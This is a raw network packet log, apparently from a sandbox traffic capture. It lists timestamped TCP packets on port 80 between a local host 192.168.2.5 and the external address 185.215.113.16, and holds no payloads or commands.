Oct 23, 2024 15:49:12.619113922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619122982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619127989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619138956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619141102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619173050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619399071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619425058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619436026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619446993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619479895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619585037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619596958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619606972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619633913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619648933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.640083075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.640203953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.640214920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.640268087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.640270948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.640281916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.640311003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.640340090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.660188913 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.660208941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.660218954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.660273075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.660274029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.660284996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.660315990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.660332918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.691896915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692040920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692070961 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692104101 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692148924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692148924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692148924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692148924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692636013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692687035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692692995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692720890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692753077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692786932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692819118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692857027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692856073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692856073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692856073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692856073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692884922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.692893982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692893982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.692929029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.732934952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.732975006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733088017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733114958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733114958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733125925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733149052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733163118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733172894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733201981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733237028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733248949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733309984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733345032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733360052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733383894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733391047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733428001 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733436108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733470917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733486891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733505011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733517885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733541012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733549118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733575106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733587027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733609915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733620882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733654022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733697891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733732939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733748913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733767033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733778000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733800888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.733808041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733850956 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.733983994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734021902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734051943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734062910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734076023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734126091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734128952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734160900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734179020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734195948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734209061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734230995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734246969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734266043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734277010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734312057 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734321117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734369993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734374046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734409094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734426022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734442949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734455109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734477043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734488010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734513998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734524965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734560966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734639883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734692097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734704971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734754086 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734756947 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734793901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734807968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734827042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734838963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734862089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734874010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734896898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734905005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734930992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.734945059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.734977961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735080957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735135078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735140085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735168934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735188961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735213995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735261917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735320091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735338926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735383987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.735394955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.735430002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.769495964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.769602060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.769639015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.769671917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.769673109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.769711971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.769821882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.769821882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.769821882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.776355982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.776413918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.776449919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.776488066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.776488066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.776518106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.776524067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.776540995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.776568890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.840573072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840593100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840603113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840611935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840620995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840630054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840646982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840655088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840661049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840666056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.840667009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.840868950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.840868950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.850847960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850860119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850871086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850900888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850914001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850915909 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.850925922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850939035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.850946903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.850971937 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.850987911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851049900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851063013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851073027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851083994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851095915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851097107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851106882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851109028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851120949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851133108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851136923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851161003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851192951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851248980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851284981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851295948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851296902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851310015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851330042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851341963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851352930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851438999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851452112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851461887 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851473093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851490021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851499081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851502895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851515055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851520061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851531029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851538897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851538897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851542950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851557016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.851567984 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851581097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.851603031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852258921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852269888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852279902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852293968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852304935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852309942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852319002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852344036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852360964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852380991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852392912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852404118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852415085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852416039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852428913 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852437973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.852442980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.852484941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.871104002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.871155977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.871195078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.871357918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.871357918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.877069950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.877104998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.877114058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.877161026 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.877199888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.891534090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.891551971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.891561985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.891601086 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.891634941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.891644001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.891654968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.891695023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.923264980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.923374891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.923383951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.923437119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.923474073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.923481941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.926867962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.956067085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956118107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956127882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956142902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956151962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956166029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956173897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956197023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.956253052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.956285954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956295967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956305027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.956327915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.956346989 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966573954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966629028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966662884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966689110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966697931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966708899 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966732979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966742992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966768980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966782093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966804028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966815948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966856003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966856956 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966892004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966902971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966937065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966943979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.966991901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.966998100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967031956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967046976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967067003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967071056 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967102051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967109919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967139959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967152119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967176914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967186928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967226028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967230082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967262983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967274904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967298031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967318058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967346907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967355967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967448950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967453003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967487097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967497110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967535973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.967539072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967573881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.967592001 CEST	49967	80	192.168.2.5	185.215.113.16
